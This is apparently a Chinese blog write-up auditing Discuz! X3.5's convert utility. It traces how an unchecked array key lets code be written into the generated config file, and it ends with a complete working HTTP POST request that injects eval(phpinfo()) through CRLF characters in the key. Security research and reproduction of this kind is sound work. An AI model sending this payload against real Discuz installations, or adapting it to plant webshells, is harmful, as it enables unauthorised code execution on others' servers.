Discuz!x——3.5版本漏洞复现&代码审计

漏洞复现&代码审计之Discuz!x——3.5版本

一、环境准备

下载源码

https://gitee.com/Discuz/DiscuzX/attach_files

压缩包里面的utility也可以下载

二、审计

发现在
\Discuz_X3.5_SC_UTF8_20240520\X3.5_utility_20230210\convert\index.php

这个php文件里面有大量的文件包含

同时这个$action变量是可控的

其实就点击这个修改

php代码调试

用bp抓包

post请求其实就是

a=setting&source=d7.2_x1.0&submit=yes&newconfig[source][dbhost]=localhost&newconfig[source][dbuser]=root&newconfig[source][dbpw]=&newconfig[source][dbname]=discuz&newconfig[source][tablepre]=cdb_&newconfig[source][dbcharset]=&newconfig[source][pconnect]=1&newconfig[target][dbhost]=localhost&newconfig[target][dbuser]=root&newconfig[target][dbpw]=&newconfig[target][dbname]=discuzx&newconfig[target][tablepre]=pre_&newconfig[target][dbcharset]=&newconfig[target][pconnect]=1&submit=

我们把四个文件都看一次

do_source.inc.php

其实就是展示了首页

do_config.inc.php

这个就是点击“开始”选项就可以进入这个文件do_config.inc.php

发现了一个函数保存文件的,看文件名应该是原意是保存配置文件内容写入之类的,但是发现$newconfig参数可控,同时也是作为内容传入

于是就想到是否能够进行文件写入木马呢?

该函数的源码

function save_config_file($filename, $config, $default) {
    $config = setdefault($config, $default);
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $content = <<<EOT
<?php


\$_config = array();

EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);
}

由于$config就是$newconfig的值经过setdefault方法后传入的,

所以这个content是可控的。

它调用了setdefault方法

function setdefault($var, $default) {
    foreach ($default as $k => $v) {
        if(!isset($var[$k])) {
            $var[$k] = $default[$k];
        } elseif(is_array($v)) {
            $var[$k] = setdefault($var[$k], $default[$k]);
        }
    }
    return $var;
}

$default是config.default.php中的键值对传入的,其实原意就是按照默认的模板来进行键值对赋值

config.default.php文件

那么不就是取键值对的意思吗?

其实就是$config=$newconfig+config.default.php文件中对应项的补充

而post传参是:


a=config&source=d7.2_x1.0&submit=yes&newconfig[source][dbhost]=localhost&newconfig[source][dbuser]=root&newconfig[source][dbpw]=&newconfig[source][dbname]=discuz&newconfig[source][tablepre]=cdb_&newconfig[source][dbcharset]=&newconfig[source][pconnect]=1&newconfig[target][dbhost]=localhost&newconfig[target][dbuser]=root&newconfig[target][dbpw]=&newconfig[target][dbname]=discuzx&newconfig[target][tablepre]=pre_&newconfig[target][dbcharset]=&newconfig[target][pconnect]=1&submit=

而且在do_config.inc.php文件中有下面这些代码

if(submitcheck()) {
    $newconfig = getgpc('newconfig');
    if(is_array($newconfig)) {
        $checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
        foreach ($checkarray as $key) {
            if(!empty($newconfig[$key]['dbhost'])) {
                $check = mysql_connect_test($newconfig[$key], $key);
                if($check < 0) {
                    $error[$key] = lang('mysql_connect_error_'.abs($check));
                }
            } else {
                $error[$key] = lang('mysql_config_error');
            }
        }
        save_config_file($configfile, $newconfig, $config_default);
        if(empty($error)) {
            $db_target = new db_mysql($newconfig['target']);
            $db_target->connect();
            delete_process('all');
            showmessage('config_success', 'index.php?a=select&source='.$source);
        }
    }
}

这个if其实就是校验了是否为post传参,同时是否有submit

function submitcheck($var = 'submit', $allowget = false) {
    $check = getgpc($var);
    $ret = false;
    if(empty($check)) {

    } elseif($allowget) {
        $ret = true;
    } elseif($_REQUEST['method'] == 'post') {
        $ret = true;
    }
    return $ret;
}

那么我们只要是post传参,同时有submit就进入这个if

接着他还判断$newconfig是否为数组

中间红框这段可以不用理会,其实就是数据库配置之类的,不会影响走入save_config_file函数

由于save_config_file函数后面调用一个getvars函数

这里的$key其实就是我们传入newconfig[key]=shushu的键key如果我们加入了eval等恶意字符那么就可以成功写马

由于调用getvars传入的是一个数组array('_config' => $config)所以一定回走到is_array($val)里面然后调用buildarray方法

function getvars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
            continue;
        }
        if(is_array($val)) {
            $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

function buildarray($array, $level = 0, $pre = '$_config') {
    static $ks;
    if($level == 0) {
        $ks = array();
        $return = '';
    }

    foreach ($array as $key => $val) {
        if(!preg_match("/^[a-zA-Z0-9_\x7f-\xff]+$/", $key)) {
            continue;
        }

        if($level == 0) {
            $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }

        $ks[$level] = $ks[$level - 1]."['$key']";
        if(is_array($val)) {
            $ks[$level] = $ks[$level - 1]."['$key']";
            $return .= buildarray($val, $level + 1, $pre);
        } else {
            $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
            $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
        }
    }
    return $return;
}

这个getvars还调用了一个buildarray函数,其实也就是键值对取值而已

传入buildarray函数其实就是传了一个数组

然后就是走到了

if($level == 0) {
            $newline = str_pad('  CONFIG '.strtoupper($key).'  ', 50, '-', STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }

这里这个str_pad函数原本是作为分隔符的
比如说是

'-------  CONFIG EXAMPLE  -------'

红框圈住的内容:

但是由于这个$key是可控的,那么就会导致我们用换行符号换行,然后用注释符号注释掉后门的内容防止报错,中间就可以写入我们的恶意代码了

最后就是$config=$newconfig+config.default.php文件中对应项的补充

$content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad('  THE END  ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);

最后通过控制$config的值来达到写入恶意字符,

但是好像并没有对key变量的恶意字符进行检测

三、验证

那么我们的payload变成

post传参

a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval(phpinfo());//]=shushu

发包

POST /utility/convert/index.php HTTP/1.1
Host: discuz.com:65533
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval(phpinfo());//]=shushu

成功写入

最后成功写入

四、小结

\utility\convert\index.php文件下的action可以调用./include/do_config.inc.php

然后调用了里面的save_config_file方法写入文件。

0 条评论
某人
表情
可输入 255